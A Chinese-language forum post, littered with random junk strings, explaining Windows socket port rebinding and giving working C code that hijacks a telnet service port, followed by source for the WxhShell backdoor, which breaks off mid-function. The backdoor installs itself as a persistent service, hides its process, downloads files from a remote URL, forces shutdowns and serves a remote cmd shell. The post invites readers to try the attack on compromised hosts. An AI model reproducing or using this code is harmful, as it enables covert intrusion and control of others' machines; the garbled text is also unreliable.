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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9g
&Ch9-/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T
E&Q6 tkN3BQ saddr.sin_family = AF_INET; NC.P2^% QYTTP6 Gz+ saddr.sin_addr.s_addr = htonl(INADDR_ANY); yEUNkZ5^ PWk?8dL- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y{`(|,[ @> Ghfh>~D 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &:;;u\ f;Bfh3 这意味着什么?意味着可以进行如下的攻击: .eabtGO, R=amKLD? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4-+ozC{ #A/]Vs$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t&9as} [%84L@:h 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %g0z)J #x5 N{8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 w38c NB3Syl8g 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XiRT|%j C9mzg 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 % O&m#)| sUbz)BS#. 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :PD`PgQ `\ef0 #include }(+=/$C"# #include uZo`IK J #include c{,y{2c]LT #include =X`]Ct8Z DWORD WINAPI ClientThread(LPVOID lpParam); /NW>;J}C int main() Im?= e { tt7PEEf WORD wVersionRequested; gVa+.x] DWORD ret; 3|K=%jr[ WSADATA wsaData; Q"_T2fl]vP BOOL val; QtnM(m SOCKADDR_IN saddr; Db#W/8
a8k SOCKADDR_IN scaddr; !dyxE'T2 int err; M<A;IOpR+ SOCKET s; `J>E9p< SOCKET sc; '&-5CpDUs int caddsize; #QTfT&m+G} HANDLE mt; \!UF|mD^tG DWORD tid; jr,&=C( wVersionRequested = MAKEWORD( 2, 2 ); ~U"by_ err = WSAStartup( wVersionRequested, &wsaData ); g[EM]q, if ( err != 0 ) { H@%7\g,` printf("error!WSAStartup failed!\n"); vo(g0Au) return -1; pcI& } bkr~13S{+ saddr.sin_family = AF_INET; q GpP, p.rdSv(8' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mUrS&&fu8 ?w]"~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FJsK5- saddr.sin_port = htons(23); ?kL|>1TY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'v\1:zi { &/>;LgN printf("error!socket failed!\n"); 0" U5oP[ return -1; xvwD3.1 } ),cQUB val = TRUE; oLrkOn/aY //SO_REUSEADDR选项就是可以实现端口重绑定的 z(g%ue\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :DtZ8$I`]C { UF&0&`@ printf("error!setsockopt failed!\n"); 'Q:i&dTg return -1; cWN d<=Jp } MzEm*`< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; je&dioZ> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I~\O //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zwM"`z T}n N=Q4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6=ZRn gQ { Q`.'-iq ret=GetLastError(); jo9J%vo printf("error!bind failed!\n"); `z9)YH return -1; 2d-TU_JqX } VHXI@UT* listen(s,2); "gXxRHTX while(1) #4P8Rzl$/ { >I$B= caddsize = sizeof(scaddr); K #qoR /: //接受连接请求 :/o C:z\h sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); { 1+Cw?1d if(sc!=INVALID_SOCKET) K0tV'Ml#" { i\t753<Ys mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
xS=_yO9- if(mt==NULL) 8weSrm { ]3n , AHA printf("Thread Creat Failed!\n"); c3=-Mq9Q break; ,>D ja59 } _1I K$gb[ } )l`1)Ea~ CloseHandle(mt); 't
+"k8 } 3jvx2 closesocket(s); r5t;'eCea WSACleanup(); 7JbY}@ return 0; =nJ{$%L\x, } B$cOssl DWORD WINAPI ClientThread(LPVOID lpParam) 89hF)80 { To3^L_v" SOCKET ss = (SOCKET)lpParam; 3>RcWy;1i SOCKET sc; GwcI0~5 unsigned char buf[4096]; KMUK`tbaI SOCKADDR_IN saddr; FX
H0PK long num; ,"~WkLI~\t DWORD val; PeO] lq DWORD ret; "yg.hK` //如果是隐藏端口应用的话,可以在此处加一些判断 r
eGm> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 "hL9f=w saddr.sin_family = AF_INET; {DU"]c/S saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q_cC7p6t saddr.sin_port = htons(23); ?nQ_w0j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _b>F#nD,'% { ):e+dt printf("error!socket failed!\n"); J!rY
6[t return -1; ?#d6i$ } \I?w)CE@R val = 100; {}V$`L8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >xT^RYS { }$l8d/_$[ ret = GetLastError(); Ve)ClH/DW return -1; YPu9Q } TYYp"wx if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Sa L"!uAk { +}P%HH]E/p ret = GetLastError(); <"<Mbbp return -1; ?-pi,O~(p } BWWq4mdb{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zG_p"Z7, { _}D%iJg# printf("error!socket connect failed!\n"); grr'd+_ e closesocket(sc); aSel*
L closesocket(ss); Re>AsnA[ return -1; l09Fn>wa } u^Vh.g] while(1) jAXR`D { _1ew(x2J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5UE409Gn' //如果是嗅探内容的话,可以再此处进行内容分析和记录 <$%ql'= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j.DHqHx num = recv(ss,buf,4096,0); T.kyV| if(num>0) ^o YPyk`9 send(sc,buf,num,0); N#4N?BBP" else if(num==0) ]nQ+nH break; X/l;s num = recv(sc,buf,4096,0); o+NMA
( if(num>0) /#f^n]v send(ss,buf,num,0); {3LA%xO else if(num==0) f-4.WW2FN break; +td<{4oq8 } 9e!vA6Fx closesocket(ss); -IadHX}]t closesocket(sc); BWh}^3?l return 0 ; :}Ok$^5s } s.VA!@F5 K1OkZ6kl } ~| k ========================================================== ^-hEr sK @D~B{Hg 下边附上一个代码,,WXhSHELL 6gnbkpYi &f-hG3/M ========================================================== ND5$bq Nu? &R,9+c #include "stdafx.h" 1_uvoFLk eX"''PA #include <stdio.h> eJHp6)2 #include <string.h> 3+ =I;nj #include <windows.h> mk%b9Ko<F #include <winsock2.h> /;Yy@oc #include <winsvc.h> `N}d}O8
#include <urlmon.h> S/.^7R7{f \:Za[6 #pragma comment (lib, "Ws2_32.lib") =LI:S|[4 #pragma comment (lib, "urlmon.lib") |f\D>Y%) eZH~je{1 #define MAX_USER 100 // 最大客户端连接数 <J&7]6Z #define BUF_SOCK 200 // sock buffer D^+?|Y@N #define KEY_BUFF 255 // 输入 buffer <*<U!J-i ='}#`', #define REBOOT 0 // 重启 RP!
X8~8 #define SHUTDOWN 1 // 关机 yzR=A%V8A id ?"PD"% #define DEF_PORT 5000 // 监听端口 *)'V vu< 8O7Yv< #define REG_LEN 16 // 注册表键长度 =xL )$DTg) #define SVC_LEN 80 // NT服务名长度 _7"5wB?|+ )#C
mQXgG // 从dll定义API RF?DtNuq typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w^HjZV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qqc]aVRF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W\8Ln> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z(e^ iH 71"+<C . // wxhshell配置信息 sZg6@s= struct WSCFG { <uci9- eC int ws_port; // 监听端口 &w85[zs char ws_passstr[REG_LEN]; // 口令 D//=m= int ws_autoins; // 安装标记, 1=yes 0=no Qs9OC9X1 char ws_regname[REG_LEN]; // 注册表键名 &eQJfc\a char ws_svcname[REG_LEN]; // 服务名 2 0tO#{Li char ws_svcdisp[SVC_LEN]; // 服务显示名 aC!EWgwW[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 .WX,Nd3@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &;c>O int ws_downexe; // 下载执行标记, 1=yes 0=no vWjnI*6T# char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" B{MaMf) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jVWK0Zba qf#)lyr<D6 }; poT&-Ic[ tg\|? // default Wxhshell configuration 2eb1lJdS struct WSCFG wscfg={DEF_PORT, lG:kAtx4 "xuhuanlingzhe", !L$x:/R9M 1, ?X9UTOx "Wxhshell", 8e&p\%1 "Wxhshell", S,{tV=&m] "WxhShell Service", s{}]D{bc "Wrsky Windows CmdShell Service", @Jn!0Y1_3 "Please Input Your Password: ", skg|>R,kE 1, n V&cC " http://www.wrsky.com/wxhshell.exe", Bp? "Wxhshell.exe" =qu(~]2( }; b5a.go q7\Ovjs0 // 消息定义模块 F<|t\KOW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; swcd&~9r char *msg_ws_prompt="\n\r? for help\n\r#>"; >IfV\w32 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; f&KdlpxKv char *msg_ws_ext="\n\rExit."; p3(2?UO! char *msg_ws_end="\n\rQuit."; `3 cCH char *msg_ws_boot="\n\rReboot..."; uLR<FpM char *msg_ws_poff="\n\rShutdown..."; vB'>[jvA| char *msg_ws_down="\n\rSave to "; l'[A?%L%{ pG3k char *msg_ws_err="\n\rErr!"; g>JLDQdc char *msg_ws_ok="\n\rOK!"; ;i<jhNA ";SiL{Z char ExeFile[MAX_PATH]; o\VUD int nUser = 0; (s<s@` HANDLE handles[MAX_USER]; ;C.S3} int OsIsNt; hz:pbes M@et6aud;K SERVICE_STATUS serviceStatus; L%"LlSg SERVICE_STATUS_HANDLE hServiceStatusHandle; r6Aneg7 Vvp[P> // 函数声明 0RFRbi@n( int Install(void); nh+l78 int Uninstall(void); 3uWkc3 int DownloadFile(char *sURL, SOCKET wsh); Kn`M4O int Boot(int flag); >l']H*&B< void HideProc(void); 80OtO#1y int GetOsVer(void); p'_%aVm7 int Wxhshell(SOCKET wsl); +]Zva:$#` void TalkWithClient(void *cs); +Vb8f["+- int CmdShell(SOCKET sock); ^D%Za' int StartFromService(void); X{xBYZv4 int StartWxhshell(LPSTR lpCmdLine); #%0Bx3uM W~1~k{A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }_9,w;M$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); "R>FqX6FB =q7Z qP // 数据结构和表定义 j=RRfFg) SERVICE_TABLE_ENTRY DispatchTable[] = as yZe { {i0SS {wscfg.ws_svcname, NTServiceMain}, q? qC {NULL, NULL} H,unpZ( }; O^Q7b7}y nI.x // 自我安装 CNZ z]H int Install(void) Q4*?1`IsR { 1\*\?\T>_ char svExeFile[MAX_PATH]; fxaJZz$o HKEY key; Z<[<n0o1 strcpy(svExeFile,ExeFile); \JEXX4% 4`m~FNVS // 如果是win9x系统,修改注册表设为自启动 G2bDf-1ew if(!OsIsNt) { Mn1Pt|_@! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aT!'}GjL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nfSbM3D]h RegCloseKey(key); d\{>TdyF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E>'a,!QPv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c/N@zum,{ RegCloseKey(key); "5R~(+~<@ return 0; sV"UI } i<kD } _|[UI.a } ^hNgm.I else { ajR%c2G; IJYL s
// 如果是NT以上系统,安装为系统服务 J]lrS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (.wIe/ if (schSCManager!=0) x+ncc_2n&D { ^bg2[FV SC_HANDLE schService = CreateService 7w,FX.=;cv ( Unj.f>U schSCManager, 00v&lQBW wscfg.ws_svcname, ]^':Bmq wscfg.ws_svcdisp, %VYAd)gC SERVICE_ALL_ACCESS, x-OA([;/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f=C ,e/sw SERVICE_AUTO_START, eAv4FA4g SERVICE_ERROR_NORMAL, IW 21T svExeFile, U*Ge<(v$ NULL, /Jf.y*; NULL, L^2FQti> NULL, dm0QcW4 NULL, wW>zgTG NULL xh7c VE[UM ); f` =CpO* if (schService!=0) _XJ2fA ) { jK \T|vGJa CloseServiceHandle(schService); +a-6Q ~ CloseServiceHandle(schSCManager); VE+IKj!VG0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &j(+ /;A strcat(svExeFile,wscfg.ws_svcname); Ee4&g<X. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?]D"k4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i1H\#;`$ RegCloseKey(key); _^Mx>hb4. return 0; rSXh;\MfB4 } 'RRmIx2X } -~?J+o+Pr" CloseServiceHandle(schSCManager); ST\$= } ,'[<bP'%_ } /}Jj >e\9Bf_ return 1; 3a.kBzus } @u==x*{| 'F>'(XWWQ // 自我卸载 zSo)k~&[3 int Uninstall(void) Q+4Xs.# { kOIt(e HKEY key; _g1b{$ r.4LU if(!OsIsNt) { K>*a*[t0Sy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V&-~x^JK RegDeleteValue(key,wscfg.ws_regname); J7r|atSk RegCloseKey(key); fS~;>n%R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oc8:r RegDeleteValue(key,wscfg.ws_regname); PaV-F_2 RegCloseKey(key); $<:E'^SAS return 0; `PY>Hgb } %f($*l. } jqPkc28 } V(Ub!n:j else { K|dso]b/ .e_cgad : SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^]{R.(#z if (schSCManager!=0) ByCnD { z5)s/;Sc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .'Y]R3\M+ if (schService!=0) 31/Edd"] { ^ f# FI& if(DeleteService(schService)!=0) { os/vtyP:a CloseServiceHandle(schService); [IK ) CloseServiceHandle(schSCManager); %-d]X{J: return 0; 76u&EG% } T49zcJf; CloseServiceHandle(schService); g!-,] } 4;2< ^[M CloseServiceHandle(schSCManager); rETRTp0HT } c%=IL M4 } J~#;<e{\" D1__n6g[ return 1; hWX% 66 } \Gc+WpS( Z)jw|T'X // 从指定url下载文件 {mAU3x int DownloadFile(char *sURL, SOCKET wsh) HuOIFv { 66fO7OJs HRESULT hr; ~8lwe*lNV char seps[]= "/"; r/SG 4 char *token; M)U{7c$c7 char *file; dPhQ :sd> char myURL[MAX_PATH]; ]\!?qsT3} char myFILE[MAX_PATH]; jYe'V#5S# }Hn/I,/ strcpy(myURL,sURL); k{'0[,mx# token=strtok(myURL,seps); !Y-98<|b
M while(token!=NULL) y- 1 pR { mvq&Pj 1}L file=token; =5\|[NSK- token=strtok(NULL,seps); je!-J8{ } daYx76yP_? @HOBRRm` GetCurrentDirectory(MAX_PATH,myFILE); 2 $Tj84'X strcat(myFILE, "\\"); #5f-`~^C{ strcat(myFILE, file); M@5?ZZ4L send(wsh,myFILE,strlen(myFILE),0); f"<O0Qw send(wsh,"...",3,0); xP [n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /n>qCuw if(hr==S_OK) M%@ !cW return 0; p`l0?^r
c" else e d<n9R return 1; ]w.;4`l* 78/Zk}I] } 9]@A]p! d+'p@!W_ // 系统电源模块 ariLG [:X int Boot(int flag) nJo`B4'U { NUp<e%zB HANDLE hToken; %@u;5qD& TOKEN_PRIVILEGES tkp; Sv +IS
OVV]x{ if(OsIsNt) { NgY=&W, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ll C#1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :53)Nv tkp.PrivilegeCount = 1; nVi[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (vTtDKp@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V>b\[(=s if(flag==REBOOT) { ?:)]h c if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?O8ViB?2 return 0; 9M:O0) s } cZ|\.0- else { v#!%GEg1r if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v61[.oS return 0; ia MUsa{ } <"_d]?, } IyPwP*A else { :AE&Ny4 if(flag==REBOOT) { xftBSdVE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mVy|{Oh return 0; ]bK=FIK2 } 9pX&ZjYP- else { T87m?a$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gntxNp[9T return 0; 3de_V|% } >M`CVUf } bdc&1I$ s#WAR]x0x return 1; bLwAXW2K+ } 7:2WgLo i(NdGL#P // win9x进程隐藏模块 fP.
6HF_p_ void HideProc(void) zR{W?_cV { aXoVy&x= jJ5W>Q1mK$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K|Di1)7=/ if ( hKernel != NULL ) v+X)Qmzf~ { RR]CW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tfGHea)M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !s&NT @ S FreeLibrary(hKernel); yI"6Da6|y } 1#ft#-g} @9lUSk^9 return; P9vA7[ } /%;mqrdk SF>c\eTtx // 获取操作系统版本 c5u@pvSP int GetOsVer(void) i ~{Ufi { Ac<Phy-J OSVERSIONINFO winfo; LL3#5AA"k| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "*Tb"
'O GetVersionEx(&winfo); vuoQz\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {\:{[{qF return 1; D>LZP! else ;<(W% _ return 0; sk=-M8;\ } |v$JCU3!A H kQ)n3 // 客户端句柄模块 /so8WRu. int Wxhshell(SOCKET wsl) iLkZ"X.'|1 { %|^fi8!:| SOCKET wsh; Qx+%"YO struct sockaddr_in client; [x,>?~6ek DWORD myID; :R~MO& k@z,Iq8 while(nUser<MAX_USER) Yj6*NZ* { 'LE=6{# int nSize=sizeof(client); .%L?J E wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n:{qC{D-qS if(wsh==INVALID_SOCKET) return 1; r(RKwr:m 6I4oi@hZz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '2[albxSc if(handles[nUser]==0) O4og?h> closesocket(wsh); y9>ZwYN else ~2gG(1%At9 nUser++; #?/< } HBu[gh;b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ''0fF_P W7 #9jo return 0; p_${Nj } =g|IG
[V n}!PO[m~ // 关闭 socket !& z(:d void CloseIt(SOCKET wsh) .MP !` { O vk_\On closesocket(wsh); GJoS #s nUser--; x7eQ2h6O ExitThread(0); c'S,hCe* } M!REygyx F!]lU`z)= // 客户端请求句柄 7~5ym15* void TalkWithClient(void *cs) K>DRJz { Vnr[}<L XYZ4TeW\1 SOCKET wsh=(SOCKET)cs; +O*/"]h char pwd[SVC_LEN]; 4}eepJOn char cmd[KEY_BUFF]; qa0 yg8,< char chr[1]; $>u*}X9 int i,j; {z")7g ]l -bSSP!f while (nUser < MAX_USER) { Nw1#M%/!r! 7aQc=^vaZ if(wscfg.ws_passstr) { <U!`J[n% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Za7^c. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8&)DE@W //ZeroMemory(pwd,KEY_BUFF); w-t8C=Z i=0; xT+zU} z while(i<SVC_LEN) { B#.L 6 1F(<! // 设置超时 93`
AWg/T fd_set FdRead; 3v5%y' struct timeval TimeOut; X;"Sx#U FD_ZERO(&FdRead); >JC FD_SET(wsh,&FdRead); {ZI)nQ{ TimeOut.tv_sec=8; ^]W<X"H+Z TimeOut.tv_usec=0; {6_|/KE9_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); --|Wh^i>? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'gPzm|f|t@ iX2]VRNx l if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5yzv|mrx pwd =chr[0]; gT#&"aP5S if(chr[0]==0xd || chr[0]==0xa) { \ytJ=0r pwd=0; c0;t4(
&8 break; 'VlDh`<W } 4:dH] i++; q&W[j5E } "3)4vuX@;c k=4N.*#`y // 如果是非法用户,关闭 socket CkdP #}f if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^7 &5
z&o } Ipq"E uFPF!Ern send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7 D^gMN%p send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [`c^4E zY"1drE> G while(1) { @M5#S7q"; 9+{G8$Ai ZeroMemory(cmd,KEY_BUFF); S=e{MI O"c;|zCc> // 自动支持客户端 telnet标准 y6[If cN j=0; |>tKq;/ while(j<KEY_BUFF) { YYu6W@m] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :qIXY/ cmd[j]=chr[0]; RkBb$q9F] if(chr[0]==0xa || chr[0]==0xd) { V9dF1Hj cmd[j]=0; R)RG[F# break; }5}.lJ: } =W BTm j++; 6u7?dG'4 } lMg+R<$~I F=a<~EpZ // 下载文件 }A7j/uy}s if(strstr(cmd,"http://")) { iTAx=SG send(wsh,msg_ws_down,strlen(msg_ws_down),0); Htgx`N|
if(DownloadFile(cmd,wsh)) 2VE9}%i send(wsh,msg_ws_err,strlen(msg_ws_err),0); G
%Q^o5m else ~nG(5:A5g/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +E.GLn2/ } t_qNq{ else { ]A<~XIu fH> NJK; switch(cmd[0]) { }Hxd*S 4bn(zyP // 帮助 h9Y%{v case '?': { C@L$~iG send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,~OwLWi-|X break; ; o0&`b? } S7L=#+Z // 安装 Ksy -e{n case 'i': { j&Wl0 if(Install()) >w^YO25q send(wsh,msg_ws_err,strlen(msg_ws_err),0); k+8q{5>A< else h_T7% #0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %]8qAtV^3j break; %+K<<iyR| } |>JS!NM
I // 卸载 Wu_kx2h case 'r': { 9)gC6IiW if(Uninstall()) L G1r]2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Hk3A$6( else Hr]h
Jc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nw<&3k(g} break; iCcB@GlA } }XSfst5-H // 显示 wxhshell 所在路径 HAJ 7m!P case 'p': { 8peDI7[| char svExeFile[MAX_PATH]; \DD0s8 strcpy(svExeFile,"\n\r"); thvYL.U: strcat(svExeFile,ExeFile); {'2@(^3 send(wsh,svExeFile,strlen(svExeFile),0); o17ekML break;
OPx`u } iIq)~e/ Z // 重启 vc+A RgvH+ case 'b': { 8qEVOZjV& send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vOc 9ZE if(Boot(REBOOT)) '_/Bp4i send(wsh,msg_ws_err,strlen(msg_ws_err),0); fmiz,$O4? else { T<w5vqFDu closesocket(wsh); v!ujj5-$I ExitThread(0); yz LpK; } JMz;BAHT break; 7e#?e+5+A } Tp_L%F // 关机 KFvQ case 'd': { j;fpQ_KL send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [zlN!.Z if(Boot(SHUTDOWN)) =IW?WIXk send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'toa@5 else { nx^]>w closesocket(wsh); B{C??g8/ ExitThread(0); n>^Y$yy}! } <B6&I$Wc+ break; d)R:9M}v } WeQk<y // 获取shell ( 2n>A D_ case 's': { 75T7+:p CmdShell(wsh); pk3<| closesocket(wsh); 6u`)QUmItg ExitThread(0); C~N/A73gF break; %y|)=cm[ } L_+k12lm // 退出 k'IYA#T6 case 'x': { R@6zGZ1 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _;~,Cgfi CloseIt(wsh); I]Dl / break; F;l$.9? .s } ,XIz?R>;c // 离开 mysetv&5 case 'q': { Rx);7j/5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); nZ@&2YPlem closesocket(wsh); ]zQo>W$ WSACleanup(); w[!^;# exit(1); gUpb4uN break; p Wt)
A } a(9L,v#? } _:-ha?W$;y } LX@/RAd vz '`XX
"_k3 // 提示信息 PG_0\'X)/w if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9v}G{mQ# } u\LFlX0sO } q|v(Edt|_[ ]"1`+q6i return; I-WhH>9 } &znQ;NH# KA){''>8 // shell模块句柄 & M~`:R int CmdShell(SOCKET sock) LF~*^n> { yfx7{naKC` STARTUPINFO si; e|p$d:#! ZeroMemory(&si,sizeof(si)); USVqB\# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KTn}w:+B\ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mN>h5G>a PROCESS_INFORMATION ProcessInfo; h|h>u
^@ char cmdline[]="cmd"; 3v
mjCm CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
Tjl:|F8 return 0; VGceD$< } |ZCn`9hvn /qx0TDB // 自身启动模式 8 XICF int StartFromService(void) $`wMX{ { VsN pHQG] typedef struct a_ `[Lj { GF>'\@Th DWORD ExitStatus; 7G\\{ DWORD PebBaseAddress; )EL!D%<A DWORD AffinityMask; >layJt DWORD BasePriority; +> WM[o^I ULONG UniqueProcessId; AwTJJ0> ULONG InheritedFromUniqueProcessId; p8\zG|b5 } PROCESS_BASIC_INFORMATION; PC[c/CoD B';6r4I- PROCNTQSIP NtQueryInformationProcess; XP1~d>j XvE9b5} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QR
